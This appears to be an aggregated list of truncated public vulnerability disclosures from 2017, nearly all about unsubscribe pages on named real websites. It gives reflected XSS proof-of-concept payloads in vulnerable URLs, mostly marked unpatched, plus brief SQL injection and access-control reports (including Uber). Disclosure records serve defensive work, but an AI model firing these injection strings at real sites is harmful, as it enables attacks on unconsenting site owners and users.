SQL Injection Vulnerability in the Reason Parameter of the /www/index.php Page of Pleasant Reading Media's Digital Newspaper System

Joy Reading Kiosk Digital Newspaper System is a digital newspaper WEB management system. There is a SQL injection vulnerability in this product, the vulnerability URL is: /www/index.php?mod=admin&con=Subscribe&act=unsubscribeList&reason=1, the vulnerability parameter is: reason, the attacker can...

id.bayan.ir XSS vulnerability

Vulnerable URL: http://id.bayan.ir/bayan/dynaform/mlunsubscribe/s/-/0?sk=test=academy= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| ...

newsletter.atlantisnet.com XSS vulnerability

Vulnerable URL: http://newsletter.atlantisnet.com/Unsubscribe.cfm?Email='" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

Uber: SQL Injection on sctrack.email.uber.com.cn

Hi, Uber Security team I just traveled to China, when I call Uber in China. I received an advertisement mail from Uber and I found the unsubscribe link is different from the original unsubscribe link, and there is a SQL Injection under the unsubscribe link. You can see where to find the unsubscri...

makeadifference.com XSS vulnerability

Vulnerable URL: http://makeadifference.com/UNsubscribe.htm?e=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4665255 VIP website...

hairtools.dk XSS vulnerability

Vulnerable URL: https://hairtools.dk/services/[email protected]=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

riyadhchamber.com XSS vulnerability

Vulnerable URL: http://www.riyadhchamber.com/unsubscribe.php?em=%22%3E%3Cimg%20src=%22x%22%20onerror=alert%28/openbugbounty/%29%3E.png Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank...

domainhost.com XSS vulnerability

Vulnerable URL: http://www.domainhost.com/utils/UnSubscribeMe.bml?Name=JUSTXSSS=EstrellaWarBirdsNews=%22%3E%3Cscript%3Ealert%28%27OPENBUGBOUNTY%27%29%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:|...

columbiadomains.net XSS vulnerability

Vulnerable URL: http://www.columbiadomains.net/utils/UnSubscribeMe.bml?Name=JUSTXSSS=EstrellaWarBirdsNews=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated...

freeyellow.com XSS vulnerability

Vulnerable URL: https://www.freeyellow.com/utils/UnSubscribeMe.bml?Name=JUSTXSSS=EstrellaWarBirdsNews=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 507010 VIP website status:| N...

易想团购 subscribe.php unsubscribe参数 SQL注入

No description provided by source...

Uber: Unsubscribe any user from receiving email

hi, At url https://www.uber.com/unsubscribe you can unsubscribe any email of any user, which is bit of concern for the people who wants to receive emails from uber. only people who gets email from uber should be allowed to unsubscribe themselves from uber emails rather than anybody unsubscribing...

unsubscribe.psychtests.com XSS vulnerability

Vulnerable URL: http://unsubscribe.psychtests.com/NoEmailsPlease.htm?emailaddr=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown ...

homekit.com.au XSS vulnerability

Vulnerable URL: https://www.homekit.com.au/perl/unsubscribe.pl Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 11854904 Google Pagerank| 0 VIP website status:| No Check homekit.com....

aquatherm.co.nz XSS vulnerability

Vulnerable URL: http://www.aquatherm.co.nz/ems/emailunsubscribe.cfm?emailaddress=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 11:22 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

emailrail.com XSS vulnerability

Vulnerable URL: http://www.emailrail.com/unsubscribe.cfm?email=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 10:52 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank...

napil.com XSS vulnerability

Vulnerable URL: http://www.napil.com/newsletter/unsubscribe.asp?email=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1989291 Google...

stingytravel.com XSS vulnerability

Vulnerable URL: http://www.stingytravel.com/unsubscribe/index.jsp?Email=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 10124566 Google...

actions.humanrightsfirst.org XSS vulnerability

Vulnerable URL: http://actions.humanrightsfirst.org/unsubscribe.jsp?emailblastKEY=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unkno...

action.now.org XSS vulnerability

Vulnerable URL: http://action.now.org/unsubscribe.jsp?emailblastKEY=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...